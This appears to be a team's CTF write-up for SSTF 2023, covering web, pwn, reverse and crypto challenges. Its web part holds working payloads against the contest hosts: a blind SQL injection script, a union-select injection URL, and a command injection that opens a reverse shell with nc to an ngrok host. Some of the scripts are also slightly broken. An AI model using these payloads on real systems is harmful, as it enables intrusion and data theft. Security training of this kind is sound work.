SSTF 2023 Write up
Team Super Guesser
Web
flagstore
The proxy handling part in nodejs use url.parse once. Becase of this it drops anything after #
.
If we put %23 anywhere in the url, anythihng after that will not be send to nginx.
This allows us to bypass /api/_ restriction.
after that we can sign arbitrary jwt token with that secret and spoof admin account.
flagstore2
The idea is to overwrite $_SESSION["auth_server"]
with our website
- call login with
auth_server
with our open redirect http://flagstore2.sstf.site:13337/sso/admin/../../logout.php?return_uri=https://website.com
- call callback.php so we control full
$user
& $res
know when curl receives a 302 redirect it follows the redirect but drops the form data , that's why we need to use multipart
- With CRLF and http request splitting, we can post password ( flag ) into new order
PS:
- json payload used in
https://website.com
RockPaperScissors
Image Not Showing
Possible Reasons
- The image was uploaded to a note which you don't have access to
- The note which the image was originally uploaded to has been deleted
Learn More →
We can do prototype pollution.
my payload
report bot with callbackURl
{"url":"/game/play-strategy?strategy_id=64e030e3fcbc4a3290a933be&callbackUrl=https://webhook.site/c45dfd2e-f349-460c-8064-8941bc7ac626"}
flag : SCTF{f1nd1ng_pr0t0typ3_p011ut1on_1s_3asy_n0w_f0r_Y0u}
Libreria
sql injection in this case, we have to match if (($isbn >= 1000000000) && ((string)$isbn === $rows["isbn"]))
condition. so I used union select and leak with STRING_AGG
import requests
import threading
import time
r = requests.session()
url = "http://libreria.sstf.site"
#SCTF{SQL_i5_4_l4n9uage_t0_man4G3_d4ta_1n_Da7aba$e5}
def ex(idx, start, end):
leak = ""
for i in range(start,end):
for j in range(32,128):
print(j)
res = r.get(url + f"/rest.php?cmd=requestbook&isbn=-1'+and+1=0+union+select+1000000000+where+ascii(substr((select+STRING_AGG(value,',')+from+adminonly+where+value+like+'%SCTF%'),{str(i)},1))={str(j)}--+-", proxies={"http":"127.0.0.1:8081"})
if "We already have this book" in res.text:
leak += chr(j)
print(leak)
if "}" in leak:
fp = open("./leak/leak"+str(idx), "w")
fp.write(leak)
fp.close()
return None
break
fp = open("./leak/leak"+str(idx), "w")
fp.write(leak)
fp.close()
if __name__ == "__main__":
t1 = threading.Thread(target=ex, args=(1, 5,10))
t2 = threading.Thread(target=ex, args=(2, 10,15))
t3 = threading.Thread(target=ex, args=(3, 15,20))
t4 = threading.Thread(target=ex, args=(4, 20,25))
t5 = threading.Thread(target=ex, args=(5, 25,30))
t6 = threading.Thread(target=ex, args=(6, 30,35))
t7 = threading.Thread(target=ex, args=(7, 35,40))
t8 = threading.Thread(target=ex, args=(8, 40,45))
t9 = threading.Thread(target=ex, args=(9, 45,50))
t10 = threading.Thread(target=ex, args=(10, 50,55))
t10 = threading.Thread(target=ex, args=(11, 55,60))
t1.start()
t2.start()
t3.start()
t4.start()
t5.start()
t6.start()
t7.start()
t8.start()
t9.start()
t10.start()
t11.start()
flag : SCTF{SQL_i5_4_l4n9uage_t0_man4G3_d4ta_1n_Da7aba$e5}
Libreria Pro
If we make some erorr on the page, we can leak the source code partially like below.
If you take a look at the code, you can find that there is elif "year" in search_with or "month" in search_with:
and it passes to Extract
annotation directly. It means that you can do SQL Injection if we make some payload including month
or year
.
Final payload: http://libreriapro37657fd3.sstf.site/?key=2000&search_with=month%27%20FROM%20%272021-02-03%2015:23:22.23242%27::timestamp)%20AS%20%22target%22%20FROM%20%22impl_books%22%20union%20select%2031337,concat(value),%273%27,%274%27,%275%27,%276%27,%272021-02-03%2015:23:22.23242%27::timestamp,%279781480864382%27,%279%27,10%20from%20impl_t0p5ecr3t%20%20order%20by%20id%20desc,%20author%20asc%20limit%20100%20offset%200--
Flag: SCTF{L3ts_k3Ep_th3_veRs10n_0f_the_fr4mEwOrk_up_to_d4te}
Dusty Code
There are a lot of sources given. So, I tried to make sure what is the correct file for the real server. I could decide what is the real with below code using regex - requests combination.
If you execute above code, you will get lizard-lib
as a result.
This is the source code for the page, and we can see there must be Command Injection vulnerability there. We can bypass the regex using backtick or ${}
because it's loose. So, I could get reverse-shell like below.
http://dustycode.sstf.site:3000/zebra?email=`nc${IFS}2.tcp.ngrok.io${IFS}11253${IFS}-e${IFS}sh`@gmail.com&apiKey=binary_glibberish
Flag: SCTF{F1ind1ng_n33d1e_1n_h4ys74ck_a8c312}
ColorBit
half of boxes are junk. half are making a flag. those making a flag, are not spreading through all the image, while junk is spread. forced color for "junk" to a static one and got the flag
modified javascript to show me individual boxes on that "apply". seen that some boxes are narrow (i.e. flag), while some are spread through all the image
to get "junk boxes", used this:
cat index.html | grep "<div class='box" | head -60000 | grep -Eo 'block[0-9]*' | sort | uniq | sort > junk_blocks.txt
got that 60000
based on manual grep tests
The result:

Pwn
2 Outs in the Ninth Inning
We can inquire arbitrary libc function's address 2 times.
So simply get libc from libc.rip.
Finally get a shell by overwriting the function pointer to oneshot.
Escape
open
and openat
are forbidden, so use openat2
to bypass seccomp filter.
Heapster
Since the nodes don't get zeroed on free, we have an uaf primitive. add
can also be used to edit existing chunks. So, we use this to allocate a chunk in tcache arena to repeatedly overwrite the address of a freed chunk in tcache. We use this to write some valid next sizes on the heap, so that we get a valid 0x601
chunk on the heap, which we then allocate and free to get a libc leak.
We then allocate a chunk into abs.got
and overwrite it with system
. Printing the chunks will then execute /bin/sh
, which we put into one of the nodes.
Rev
PlupQuest
In data.json
, all information for game are exist in it. In scripts
data, script with id 38 has logic of check input and prints flag. So, we can simply find proper input to value A to P and get flag.
from z3 import *
def ROL(data, shift, size=8):
shift %= size
remains = data >> (size - shift)
body = (data << shift) - (remains << size )
return (body + remains)
def boo(a0, b0, c0, d0, e0, f0):
a8 = a0 ^ b0
b8 = RotateLeft(a8, b0 % 8)
a0 = (b8 + e0) & 0xFF
a8 = a0 ^ b0
b8 = RotateLeft(a8, a0 % 8)
b0 = (b8 + f0) & 0xFF
a8 = c0 ^ d0
b8 = RotateLeft(a8, d0 % 8)
c0 = (b8 + e0) & 0xFF
a8 = c0 ^ d0
b8 = RotateLeft(a8, c0 % 8)
d0 = (b8 + f0) & 0xFF
return a0, b0, c0, d0
def foo(A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P):
B, C, D, A = boo(A, B, C, D, 36, 23)
F, G, H, E = boo(E, F, G, H, 23, 181)
J, K, L, I = boo(I, J, K, L, 181, 177)
N, O, P, M = boo(M, N, O, P, 177, 36)
B, C, D, A = boo(A, B, C, D, 69, 193)
F, G, H, E = boo(E, F, G, H, 193, 10)
J, K, L, I = boo(I, J, K, L, 10, 99)
N, O, P, M = boo(M, N, O, P, 99, 69)
B, C, D, A = boo(A, B, C, D, 246, 149)
F, G, H, E = boo(E, F, G, H, 149, 183)
J, K, L, I = boo(I, J, K, L, 183, 75)
N, O, P, M = boo(M, N, O, P, 75, 246)
B, C, D, A = boo(A, B, C, D, 181, 94)
F, G, H, E = boo(E, F, G, H, 94, 185)
J, K, L, I = boo(I, J, K, L, 185, 250)
N, O, P, M = boo(M, N, O, P, 250, 181)
B, C, D, A = boo(A, B, C, D, 179, 79)
F, G, H, E = boo(E, F, G, H, 79, 77)
J, K, L, I = boo(I, J, K, L, 77, 56)
N, O, P, M = boo(M, N, O, P, 56, 179)
B, C, D, A = boo(A, B, C, D, 107, 54)
F, G, H, E = boo(E, F, G, H, 54, 201)
J, K, L, I = boo(I, J, K, L, 201, 203)
N, O, P, M = boo(M, N, O, P, 203, 107)
B, C, D, A = boo(A, B, C, D, 243, 64)
F, G, H, E = boo(E, F, G, H, 64, 48)
J, K, L, I = boo(I, J, K, L, 48, 121)
N, O, P, M = boo(M, N, O, P, 121, 243)
B, C, D, A = boo(A, B, C, D, 173, 95)
F, G, H, E = boo(E, F, G, H, 95, 231)
J, K, L, I = boo(I, J, K, L, 231, 47)
N, O, P, M = boo(M, N, O, P, 47, 173)
return A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P
s = Solver()
arr = [BitVec("x%d" % i, 8) for i in range(16)]
c = [36, 200, 122, 255, 146, 2, 160, 94, 80, 115, 51, 102, 105, 102, 167, 137]
c2 = foo(*arr)
for x, y in zip(c, c2):
s.add(x == y)
while s.check() == sat:
m = s.model()
c3 = []
for i in arr:
c3.append(int(str(m[i])))
def baz(A, B, C, D, E, F, G, H, I, J, K, L, M, N, O, P):
return bytes([A ^ 42, B ^ 18, C ^ 99, D ^ 47,
E ^ 178, F ^ 170, G ^ 203, H ^ 13,
I ^ 122, J ^ 145, K ^ 20, L ^ 65,
M ^ 16, N ^ 55, O ^ 180, P ^ 143,
A ^ 73, B ^ 51, C ^ 91, D ^ 88,
E ^ 167, F ^ 164, G ^ 212, H ^ 73,
I ^ 124, J ^ 190, K ^ 17, L ^ 112,
M ^ 89, N ^ 57, O ^ 216, P ^ 203,
A ^ 38, B ^ 102, C ^ 95, D ^ 90,
E ^ 150, F ^ 151, G ^ 138, H ^ 70,
I ^ 104, J ^ 145, K ^ 96, L ^ 88,
M ^ 93, N ^ 61, O ^ 141, P ^ 196])
print(baz(*c3))
s.add(Or([i != s.model()[i] for i in arr]))
Crypto
meaas
I'm pretty sure that the intended solution is different, but if modulus is chosen as smooth prime(means that is product of small primes), then server private exponent is recovered so easily.
Crypto Machine
If dp
is recovered, n
can be easily factorized by calculating gcd( pow(c,dp,n) - m, n)
for some plaintext-ciphertext pair (m,c)
.
(Although it seems not clear,) I assume that the values in d_p_as_digits
is some kind of permutations of [0,1,2,..,15]
. Then from dp_bits
, we can figure out that there are only 30648
candidates instead of 16!
. After testing all candidates, we found that [11, 8, 14, 1, 9, 5, 13, 10, 4, 15, 2, 3, 12, 0, 7, 6]
is the right mapping and succeed to factorize .
from Crypto.Util.number import *
def string_to_int(s):
return int.from_bytes(s.encode(encoding="ascii"), byteorder='little')
def int_to_string(i):
length = (i.bit_length() + 7) // 8
return i.to_bytes(length, byteorder='little').decode(encoding="ascii")
e = 65537
n = 247986593396209875084012131452934099056733647935670515473445992426598899768930823740730826984242067958254605065641483735657759815550540477139432139634638820800423008986789544454729772610227969667760774290284773564029419009020038717859540703507091627999301056310286835600515951248243765130446092120746666876180555284845580231826491442541887612771483752883992273123591778121336015719453085571539280921597192879792417258434207273636582639024556173720065931114200134382018852051071187029307957847828986113074903235247989408426632701126391774984490145343174906256844624326505324922216905289293
flag_enc = 156539305485572699191103505011941122379332151701553059603110690165418795969653170470280711364827383168784090115293778700305550080169460850699540494174149060011762008936085442871933384008015397771403854069510064266983329620117434277066221978735255338346311441103219209899777467779541064732463934404772189243868464339796846862363442127703578646463227851657485689792622948429216331294552860614314283266751264721228761442121952040022067542021305711961849418456816471091404036663730796501797813320194656309206085482726560893004214523505587683373830593170341654010162468594209116725534777579419
dp_bits = "???0??????????????????????????????1???1??????????????????????????????0???1??????????????????????????????1???0??????????????????????????????0???0??????????????????????????????0???1??????????????????????????????0???0??????????????????????????????1???1??????????????????????????????0???1??????????????????????????????0???1??????????????????????????????1???1??????????????????????????????1???0??????????????????????????????0??????????????????????????????????1??????????????????????????????????0??????????????????????????????????0??????????????????????????????????0??????????????????????????????????1??????????????????????????????????1??????????????????????????????????0??????????????????????????????????1??????????????????????????????????1??????????????????????????????????0??????????????????????????????????1??????????????????????????????????0??????????????????????????????????0??????????????????????????????????1??????????????????????????????????0??????????????????????????????1"
d_p_as_digits=[0, 13, 5, 1, 1, 11, 11, 3, 6, 15, 13, 11, 8, 15, 10, 8, 2, 7, 2, 4, 11, 1, 15, 1, 15, 5, 10, 11, 3, 2, 13, 7, 2, 15, 1, 6, 12, 9, 11, 11, 15, 10, 4, 11, 8, 4, 11, 13, 7, 3, 15, 0, 10, 3, 3, 13, 14, 0, 5, 14, 0, 4, 5, 10, 1, 7, 9, 12, 4, 14, 12, 11, 6, 10, 9, 10, 10, 15, 13, 0, 7, 5, 8, 4, 2, 4, 2, 4, 9, 13, 12, 2, 8, 7, 0, 9, 7, 15, 9, 12, 12, 11, 3, 13, 13, 5, 6, 0, 8, 1, 1, 13, 11, 10, 15, 3, 13, 6, 7, 3, 7, 0, 8, 11, 5, 15, 1, 12, 7, 13, 2, 6, 9, 15, 3, 14, 1, 5, 6, 1, 8, 6, 5, 15, 13, 9, 13, 1, 4, 7, 9, 7, 5, 6, 8, 14, 15, 2, 1, 15, 0, 14, 9, 7, 9, 1, 12, 6, 10, 1, 5, 8, 14, 3, 15, 13, 13, 15, 5, 6, 9, 0, 0, 3, 1, 6, 10, 6, 2, 4, 1, 4, 11, 7, 8, 3, 6, 9, 1, 15, 4, 14, 12, 15, 15, 10, 6, 6, 2, 1, 14, 15, 12, 1, 6, 9, 11, 7, 5, 11, 2, 2, 7, 8, 6, 5, 13, 10, 13, 15, 8, 3, 5, 11, 14, 14, 1, 2, 15, 2, 13, 5, 6, 15]
L = len(d_p_as_digits)
dp_bits_slice = [dp_bits[4*i:4*i+4] for i in range(L)][::-1]
dq_bits_slice = [dq_bits[4*i:4*i+4] for i in range(L)][::-1]
def string_to_int(s):
return int.from_bytes(s.encode(encoding="ascii"), byteorder='little')
def int_to_string(i):
length = (i.bit_length() + 7) // 8
return i.to_bytes(length, byteorder='little').decode(encoding="ascii")
def check_dp(dp_b, dp_bits):
for i in range(len(dp_bits)):
if dp_bits[i] != '?' and dp_bits[i] != dp_b[i]:
return False
return True
m = 2
c = pow(m, e, n)
def recover_p(dp):
mp = pow(c, dp, n)
g = GCD(mp-m, n)
if g!=1:
print(g, n//g)
cands = [set(range(16)) for _ in range(16)]
for i in range(L):
if dp_bits_slice[i] == '????':
continue
new_set = set()
for x in cands[d_p_as_digits[i]]:
x_str = bin(x)[2:].zfill(4)
if matched(x_str, dp_bits_slice[i]):
new_set.add(x)
cands[d_p_as_digits[i]] = new_set
go = 1
for i in range(16):
print(i, len(cands[i]), cands[i])
go *= len(cands[i])
order = [0,1,15,2,4,13,14,3,5,7,9,11,6,8,10,12]
NUM = 0
L = [-1]*16
def chk(L, idx):
if idx == 16:
global NUM
NUM+=1
if NUM % 100 == 0:
print(str(NUM) + " / 30648")
if NUM < 12400:
return None
dp = sum(16**i * L[d_p_as_digits[i]] for i in range(244))
print(L)
recover_p(dp)
return None
for x in cands[order[idx]]:
if x in L:
continue
L[order[idx]] = x
chk(L, idx+1)
L[order[idx]] = -1
chk(L,0)
print(NUM)
p = 416541034800239426909078476055123175923564047768259484693692313196139456310171868707227883635042072959384245229842532429577638953813839513026730918119761909347776227488132457250280183660547663106250344943925849717528581867409258843604429327212901840551271394231670333348803084043064968687381523
q = 595347331182237061347692817052681611773957447581678972755021305396135991672166078878425800756900446693751359592663038457826236214317841578620119321597623505354261297234533414377268097416007957411658784462114462457802873838204636148813681556004050482640036934572347409577272590176272426287400991
phi = (p-1)*(q-1)
d = pow(e,-1,phi)
m = pow(flag_enc,d,n)
print(int_to_string(m))